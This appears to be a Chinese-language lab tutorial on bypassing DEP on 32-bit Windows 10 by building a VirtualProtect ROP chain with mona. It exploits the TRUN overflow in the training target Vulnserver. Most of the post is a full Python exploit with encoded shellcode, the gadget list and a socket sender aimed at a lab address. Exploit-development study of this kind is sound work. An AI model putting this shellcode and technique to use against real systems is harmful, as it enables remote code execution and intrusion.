测试环境:Windows 10 21H2 32
位。
这次开启全局DEP
,Windows
下如下所示开启。
开启DEP
之后,之前能够运行的shellcode
将无法执行。为了解决这个问题,可以使用VirtualProtect函数来更改一片栈空间的权限为PAGE_EXECUTE_READWRITE
。来看一下函数的定义:
1 2 3 4 5 6
| BOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect );
|
lpAddress
:需要更改访问保护属性的页区域的起始页地址。
dwSize
:要更改访问保护属性的区域的大小,以字节为单位。
flNewProtect
:内存保护选项。
lpflOldProtect
:指向变量的指针,该变量接收指定页面区域中第一页的先前访问保护值。
所以栈的布局应该为如下所示:
注意栈布局上,跟在VirtualProtect
函数地址后面的第一个参数是返回值,返回到VirtualProtect
函数更改为执行权限的的栈空间上(就是shellcode
所在的位置),可以理解为VirtualProtect
让shellcode
有了可执行权限,然后VirtualProtect
函数返回后,需要恢复到调用栈的返回地址,这里让返回地址指向shellcode
,这样就可以达成执行shellcode
代码的作用。
难点主要在寻找合适的ROP
链。
最简单的方式是把需要的值存入寄存器,然后PUSH
进栈。这可以使用PUSHAD
指令完成。这个指令将会在栈中以下列顺序压入寄存器:
EAX
,ECX
,EDX
,EBX
,ESP
,EBP
,ESI
,EDI
所以最终栈的布局应该为如下所示:
首先,寻找一个RETN
指令。(也称Stack Pivot
,用于把执行流返回到栈上)
1
| !mona find -type instr -s "retn" -p 10 -o
|
这里选择0x62501022
这个地址所指向的RETN
指令。
使用mona
寻找gadgets
。
执行完成之后,打开rop_chains.txt
文件,找到python
部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| *** [ Python ] ***
def create_rop_chain():
rop_gadgets = [ 0x76cfaf80, 0x6250609c, 0x76cc6a56, 0x75d31470, 0x77363469, 0x625011bb, 0x756c0feb, 0xfffffdff, 0x75ad236e, 0x76cdbaf2, 0x75693f92, 0xffffffc0, 0x75ad3798, 0x773ff292, 0x76ccbb50, 0x76d23c03, 0x76cbff49, 0x75ad379a, 0x756cc74e, 0x90909090, 0x74bcf282, ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
|
结合之前栈溢出的shellcode
,最终的exploit.py
如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| import socket import struct
HOST = '192.168.13.145' PORT = 9999
shellcode = b"" shellcode += b"\xbb\x90\xe7\x9a\xa0\xda\xc2\xd9\x74\x24\xf4" shellcode += b"\x58\x33\xc9\xb1\x52\x31\x58\x12\x83\xc0\x04" shellcode += b"\x03\xc8\xe9\x78\x55\x14\x1d\xfe\x96\xe4\xde" shellcode += b"\x9f\x1f\x01\xef\x9f\x44\x42\x40\x10\x0e\x06" shellcode += b"\x6d\xdb\x42\xb2\xe6\xa9\x4a\xb5\x4f\x07\xad" shellcode += b"\xf8\x50\x34\x8d\x9b\xd2\x47\xc2\x7b\xea\x87" shellcode += b"\x17\x7a\x2b\xf5\xda\x2e\xe4\x71\x48\xde\x81" shellcode += b"\xcc\x51\x55\xd9\xc1\xd1\x8a\xaa\xe0\xf0\x1d" shellcode += b"\xa0\xba\xd2\x9c\x65\xb7\x5a\x86\x6a\xf2\x15" shellcode += b"\x3d\x58\x88\xa7\x97\x90\x71\x0b\xd6\x1c\x80" shellcode += b"\x55\x1f\x9a\x7b\x20\x69\xd8\x06\x33\xae\xa2" shellcode += b"\xdc\xb6\x34\x04\x96\x61\x90\xb4\x7b\xf7\x53" shellcode += b"\xba\x30\x73\x3b\xdf\xc7\x50\x30\xdb\x4c\x57" shellcode += b"\x96\x6d\x16\x7c\x32\x35\xcc\x1d\x63\x93\xa3" shellcode += b"\x22\x73\x7c\x1b\x87\xf8\x91\x48\xba\xa3\xfd" shellcode += b"\xbd\xf7\x5b\xfe\xa9\x80\x28\xcc\x76\x3b\xa6" shellcode += b"\x7c\xfe\xe5\x31\x82\xd5\x52\xad\x7d\xd6\xa2" shellcode += b"\xe4\xb9\x82\xf2\x9e\x68\xab\x98\x5e\x94\x7e" shellcode += b"\x0e\x0e\x3a\xd1\xef\xfe\xfa\x81\x87\x14\xf5" shellcode += b"\xfe\xb8\x17\xdf\x96\x53\xe2\x88\x58\x0b\xe1" shellcode += b"\xc1\x31\x4e\xf9\xc0\x9d\xc7\x1f\x88\x0d\x8e" shellcode += b"\x88\x25\xb7\x8b\x42\xd7\x38\x06\x2f\xd7\xb3" shellcode += b"\xa5\xd0\x96\x33\xc3\xc2\x4f\xb4\x9e\xb8\xc6" shellcode += b"\xcb\x34\xd4\x85\x5e\xd3\x24\xc3\x42\x4c\x73" shellcode += b"\x84\xb5\x85\x11\x38\xef\x3f\x07\xc1\x69\x07" shellcode += b"\x83\x1e\x4a\x86\x0a\xd2\xf6\xac\x1c\x2a\xf6" shellcode += b"\xe8\x48\xe2\xa1\xa6\x26\x44\x18\x09\x90\x1e" shellcode += b"\xf7\xc3\x74\xe6\x3b\xd4\x02\xe7\x11\xa2\xea" shellcode += b"\x56\xcc\xf3\x15\x56\x98\xf3\x6e\x8a\x38\xfb" shellcode += b"\xa5\x0e\x58\x1e\x6f\x7b\xf1\x87\xfa\xc6\x9c" shellcode += b"\x37\xd1\x05\x99\xbb\xd3\xf5\x5e\xa3\x96\xf0" shellcode += b"\x1b\x63\x4b\x89\x34\x06\x6b\x3e\x34\x03"
def create_rop_chain():
rop_gadgets = [ 0x76cfaf80, 0x6250609c, 0x76cc6a56, 0x75d31470, 0x77363469, 0x625011bb, 0x756c0feb, 0xfffffdff, 0x75ad236e, 0x76cdbaf2, 0x75693f92, 0xffffffc0, 0x75ad3798, 0x773ff292, 0x76ccbb50, 0x76d23c03, 0x76cbff49, 0x75ad379a, 0x756cc74e, 0x90909090, 0x74bcf282, ] return b''.join(struct.pack('<I', _) for _ in rop_gadgets)
rop_chain = create_rop_chain()
PAYLOAD = ( b'TRUN /.:/' + b'A' * 2003+ struct.pack('<L', 0x62501022) + rop_chain+ b'\x90'*16+ shellcode )
with socket.create_connection((HOST, PORT)) as fd: fd.sendall(PAYLOAD)
|
注意:1.rop_chain后面需要一些填充,可以使用'\x90'
来进行,一般为16
的整数倍,也可以直接替换为指定b'\x83\xE4\xF0'
,这是边界对齐指令and esp, 0xfffffff0
的机器码。2.这里的rop链仅在当前状态下能够执行成功,系统重启之后会失败,因为rop gadget
引用的大部分dll
都开启了aslr
,注意看上面的代码中的注释** REBASED ** ASLR
。每次加载的时候地址会发生变化。
效果图:
参考:https://fluidattacks.com/blog/vulnserver-trun-rop/